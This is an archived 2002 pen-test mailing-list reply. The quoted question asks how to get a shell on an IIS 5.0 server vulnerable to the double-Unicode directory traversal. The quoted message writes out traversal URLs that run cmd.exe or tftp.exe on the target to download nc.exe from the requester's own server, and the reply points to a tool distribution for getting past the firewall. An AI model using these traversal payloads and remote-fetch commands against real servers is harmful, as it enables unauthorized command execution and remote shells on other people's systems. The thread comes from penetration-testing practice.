RE: Can't get a shell

From: Rico Valdez (Rico.Valdezat_private)
Date: Thu Jul 11 2002 - 10:19:43 PDT

  • Next message: Jeanette LaRosa: "Re: escalating IUSR to admin rights via unicode and iis4"

    Find the unitools distribution. If the firewall is the issue, that should do the trick. The following link should help to get you going.
    
    http://marc.theaimsgroup.com/?l=bugtraq&m=98040935006042&w=2
    
    Good Luck!
    
    Rico
    
    > -----Original Message-----
    > From: Gaziel, Avishay [mailto:agazielat_private]
    > Sent: Tuesday, July 09, 2002 10:33 AM
    > To: PEN-TESTat_private
    > Subject: Can't get a shell
    > 
    > 
    > Hi All,
    > Situation:
    > An  IIS5.0 vulnerable to unicode.("double Unicode" i.e. 
    > ..%255c.. etc.)
    > IIS sitting behind a firewall.
    > Problem:
    > host/scripts/..%255c.........../winnt/system32/cmd.exe?/tftp+-
    > i+myserver+get
    > +nc.exe doesn't work
    > I keep getting (from my pumpkin tftp server) an error message 
    > saying that
    > there's something wrong with the variables.
    > another strange thing is that even if I don't get the error 
    > message the tftp
    > session will not start and will timeout, if I deny access I 
    > keep getting
    > access requests from the IIS.(Pumpkin is configured to prompt 
    > whenever a
    > download/upload starts)
    > What have I tried to do?
    >  Use
    > host/scripts/..%255c.........../winnt/system32/tftp.exe+-i+mys
    erver+get+nc.e
    > xe instead of the above mentioned...doesn't   work as well.
    > What do I think is wrong?
    > The FW is blocking all udp traffic out.
    > What do I need?
    > 1. Suggestions
    > 2.Workarounds
    > Avishay 
    > 
    > 
    > 
    > 
    > 
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